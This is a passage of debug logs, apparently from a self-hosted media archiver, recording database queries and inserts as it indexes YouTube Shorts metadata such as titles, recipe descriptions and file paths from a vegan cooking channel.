s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:21.992 [debug] QUERY OK source="sources" db=0.6ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:21.994 [debug] QUERY OK source="media_items" db=2.3ms idle=1003.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-05 16:40:00Z], 1] 20:27:21.996 [debug] QUERY OK source="media_items" db=1.2ms idle=1005.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["EASY 4-INGREDIENT BLUEBERRY SAUCE 🫐\n\nIf you just stocked up on end-of-summer blueberries then you NEED to try this easy blueberry sauce! 💙 Perfect for waffles, pancakes, French toast and oatmeal 😌\n\nSave this post for later! ✔️ \n\nIngredients: ~ 2 cups fresh or frozen 🫐 - 2 tbsp maple syrup - 1.5 tbsp tapioca starch - 2 tbsp lemon juice 🍋 \nIn a saucepan combine the blueberries with the tapioca starch, then drizzle the maple syrup and stir to combine. Bring to a low boil on medium high heat, adding about 1/2 cup of water as needed to prevent sticking/burning. Once bubbling, reduce heat to medium low and add pinch of salt and lemon juice, stirring frequently. Once the sauce has reduced to your desired thickness/runniness remove from the heat and enjoy to your hearts content 💙\n\nFollow @steamyvegankitchen for more delicious plant based recipes! 🌱", "4-Ingredient Blueberry Sauce 🫐😌", "e87eadb5-9746-48e5-84bf-7ce1c811987c", 1, [], 15, false, "YthJ8QFmPjw", "https://www.youtube.com/shorts/YthJ8QFmPjw", 248, "/downloads/downloads/alec/Steamy Vegan/2022-09-05 4-Ingredient Blueberry Sauce 🫐😌/4-Ingredient Blueberry Sauce 🫐😌 [YthJ8QFmPjw].NA", false, false, true, 0, ~U[2022-09-05 16:40:00Z], ~U[2026-03-22 03:27:21Z], ~U[2026-03-22 03:27:21Z], "EASY 4-INGREDIENT BLUEBERRY SAUCE 🫐\n\nIf you just stocked up on end-of-summer blueberries then you NEED to try this easy blueberry sauce! 💙 Perfect for waffles, pancakes, French toast and oatmeal 😌\n\nSave this post for later! ✔️ \n\nIngredients: ~ 2 cups fresh or frozen 🫐 - 2 tbsp maple syrup - 1.5 tbsp tapioca starch - 2 tbsp lemon juice 🍋 \nIn a saucepan combine the blueberries with the tapioca starch, then drizzle the maple syrup and stir to combine. Bring to a low boil on medium high heat, adding about 1/2 cup of water as needed to prevent sticking/burning. Once bubbling, reduce heat to medium low and add pinch of salt and lemon juice, stirring frequently. Once the sauce has reduced to your desired thickness/runniness remove from the heat and enjoy to your hearts content 💙\n\nFollow @steamyvegankitchen for more delicious plant based recipes! 🌱", "4-Ingredient Blueberry Sauce 🫐😌", 1, 15, false, "YthJ8QFmPjw", "https://www.youtube.com/shorts/YthJ8QFmPjw", "/downloads/downloads/alec/Steamy Vegan/2022-09-05 4-Ingredient Blueberry Sauce 🫐😌/4-Ingredient Blueberry Sauce 🫐😌 [YthJ8QFmPjw].NA", true, ~U[2022-09-05 16:40:00Z]] 20:27:21.996 [debug] QUERY OK source="sources" db=0.1ms idle=818.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:21.997 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:21.998 [debug] QUERY OK source="media_items" db=0.4ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [637] 20:27:21.998 [debug] Current batch of media processed. Will check again in 1000ms 20:27:22.999 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "A glimpse into what I eat in a week for breakfast 😌 I have 5 easy vegan recipes for you to check out in the full video on my channel! https://youtu.be/_QIVV-y7GQg", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-09-03 What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱/What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱 [wpINsngfF6M].NA", "id" => "wpINsngfF6M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/wpINsngfF6M", "playlist_index" => 249, "timestamp" => 1662225302, "title" => "What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱", "upload_date" => "20220903"} 20:27:23.001 [debug] QUERY OK source="sources" db=1.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:23.002 [debug] QUERY OK source="sources" db=0.3ms queue=0.3ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:23.005 [debug] QUERY OK source="media_items" db=2.7ms queue=0.4ms idle=1004.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-09-03 17:15:02Z], 1] 20:27:23.007 [debug] QUERY OK source="media_items" db=1.5ms idle=1007.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["A glimpse into what I eat in a week for breakfast 😌 I have 5 easy vegan recipes for you to check out in the full video on my channel! https://youtu.be/_QIVV-y7GQg", "What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱", "2bd25afc-96ff-43ee-a8e7-6e3192916abf", 1, [], 15, false, "wpINsngfF6M", "https://www.youtube.com/shorts/wpINsngfF6M", 249, "/downloads/downloads/alec/Steamy Vegan/2022-09-03 What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱/What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱 [wpINsngfF6M].NA", false, false, true, 0, ~U[2022-09-03 17:15:02Z], ~U[2026-03-22 03:27:23Z], ~U[2026-03-22 03:27:23Z], "A glimpse into what I eat in a week for breakfast 😌 I have 5 easy vegan recipes for you to check out in the full video on my channel! https://youtu.be/_QIVV-y7GQg", "What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱", 1, 15, false, "wpINsngfF6M", "https://www.youtube.com/shorts/wpINsngfF6M", "/downloads/downloads/alec/Steamy Vegan/2022-09-03 What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱/What I eat in a week for breakfast 🧇 5 easy vegan recipes 🌱 [wpINsngfF6M].NA", true, ~U[2022-09-03 17:15:02Z]] 20:27:23.008 [debug] QUERY OK source="sources" db=0.2ms queue=0.5ms idle=827.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:23.009 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.3ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:23.010 [debug] QUERY OK source="media_items" db=0.7ms idle=7.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [638] 20:27:23.010 [debug] Current batch of media processed. Will check again in 1000ms 20:27:24.011 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Why I meal prep for weight loss on a vegan diet 🌱 I find that if you have food that is already prepared, that you spent time and money on, you will be more likely to eat it than reaching for quick fixes and foods that are not very healthy and will likely derail the weight loss progress you’re making. \n\nWatch my latest Vegan Meal Pre For Weight Loss ➡️\nhttps://youtu.be/SG55bgKwvDg", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-27 Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱/Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱 [kpKPq2W0Ekw].NA", "id" => "kpKPq2W0Ekw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/kpKPq2W0Ekw", "playlist_index" => 250, "timestamp" => 1661622600, "title" => "Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱", "upload_date" => "20220827"} 20:27:24.012 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:24.013 [debug] QUERY OK source="sources" db=0.3ms idle=1004.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:24.015 [debug] QUERY OK source="media_items" db=2.2ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-27 17:50:00Z], 1] 20:27:24.018 [debug] QUERY OK source="media_items" db=1.8ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Why I meal prep for weight loss on a vegan diet 🌱 I find that if you have food that is already prepared, that you spent time and money on, you will be more likely to eat it than reaching for quick fixes and foods that are not very healthy and will likely derail the weight loss progress you’re making. \n\nWatch my latest Vegan Meal Pre For Weight Loss ➡️\nhttps://youtu.be/SG55bgKwvDg", "Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱", "72eeb29a-0126-4401-8de1-916083b82f4d", 1, [], 15, false, "kpKPq2W0Ekw", "https://www.youtube.com/shorts/kpKPq2W0Ekw", 250, "/downloads/downloads/alec/Steamy Vegan/2022-08-27 Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱/Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱 [kpKPq2W0Ekw].NA", false, false, true, 0, ~U[2022-08-27 17:50:00Z], ~U[2026-03-22 03:27:24Z], ~U[2026-03-22 03:27:24Z], "Why I meal prep for weight loss on a vegan diet 🌱 I find that if you have food that is already prepared, that you spent time and money on, you will be more likely to eat it than reaching for quick fixes and foods that are not very healthy and will likely derail the weight loss progress you’re making. \n\nWatch my latest Vegan Meal Pre For Weight Loss ➡️\nhttps://youtu.be/SG55bgKwvDg", "Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱", 1, 15, false, "kpKPq2W0Ekw", "https://www.youtube.com/shorts/kpKPq2W0Ekw", "/downloads/downloads/alec/Steamy Vegan/2022-08-27 Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱/Why I meal prep for weight loss! Vegan meal prep for weight loss 🌱 [kpKPq2W0Ekw].NA", true, ~U[2022-08-27 17:50:00Z]] 20:27:24.018 [debug] QUERY OK source="sources" db=0.3ms idle=835.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:24.020 [debug] QUERY OK source="media_profiles" db=1.0ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:24.020 [debug] QUERY OK source="media_items" db=0.3ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [639] 20:27:24.020 [debug] Current batch of media processed. Will check again in 1000ms 20:27:25.021 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This easy 30 minute vegan and high protein linguine and meatballs pasta is soooo delicious. Gigi Hadid makes a similar pasta but I think Brad might have her beat with this vegan one.\n\nFull Video Here: https://youtu.be/Ie88RmaBHA8", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-27 Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts/Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts [Yip7uf7jC78].NA", "id" => "Yip7uf7jC78", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Yip7uf7jC78", "playlist_index" => 251, "timestamp" => 1661608817, "title" => "Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts", "upload_date" => "20220827"} 20:27:25.022 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:25.023 [debug] QUERY OK source="sources" db=0.5ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:25.025 [debug] QUERY OK source="media_items" db=1.9ms idle=1003.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-27 14:00:17Z], 1] 20:27:25.026 [debug] QUERY OK source="media_items" db=0.7ms idle=1005.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This easy 30 minute vegan and high protein linguine and meatballs pasta is soooo delicious. Gigi Hadid makes a similar pasta but I think Brad might have her beat with this vegan one.\n\nFull Video Here: https://youtu.be/Ie88RmaBHA8", "Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts", "5a27a919-3b85-40e4-9724-57a061ea49cc", 1, [], 15, false, "Yip7uf7jC78", "https://www.youtube.com/shorts/Yip7uf7jC78", 251, "/downloads/downloads/alec/Steamy Vegan/2022-08-27 Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts/Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts [Yip7uf7jC78].NA", false, false, true, 1, ~U[2022-08-27 14:00:17Z], ~U[2026-03-22 03:27:25Z], ~U[2026-03-22 03:27:25Z], "This easy 30 minute vegan and high protein linguine and meatballs pasta is soooo delicious. Gigi Hadid makes a similar pasta but I think Brad might have her beat with this vegan one.\n\nFull Video Here: https://youtu.be/Ie88RmaBHA8", "Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts", 1, 15, false, "Yip7uf7jC78", "https://www.youtube.com/shorts/Yip7uf7jC78", "/downloads/downloads/alec/Steamy Vegan/2022-08-27 Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts/Easy Vegan High Protein Rosé Linguine and Meatballs 🍝🤤 #shorts #youtubeshorts [Yip7uf7jC78].NA", true, ~U[2022-08-27 14:00:17Z]] 20:27:25.027 [debug] QUERY OK source="sources" db=0.7ms idle=842.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:25.028 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:25.029 [debug] QUERY OK source="media_items" db=0.7ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [640] 20:27:25.030 [debug] Current batch of media processed. Will check again in 1000ms 20:27:26.031 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We've got a new vegan, high protein, oil free, rose linguine pasta live on the channel today. If you want an easy to make, vegan, high protein pasta that's definitely not sexy to eat but full of so much flavor then you'll want to check this recipe video out!\n\nFull Video Link: https://youtu.be/Ie88RmaBHA8", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-26 You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts/You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts [Nhd6YWh6_TQ].NA", "id" => "Nhd6YWh6_TQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Nhd6YWh6_TQ", "playlist_index" => 252, "timestamp" => 1661555393, "title" => "You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts", "upload_date" => "20220826"} 20:27:26.032 [debug] QUERY OK source="sources" 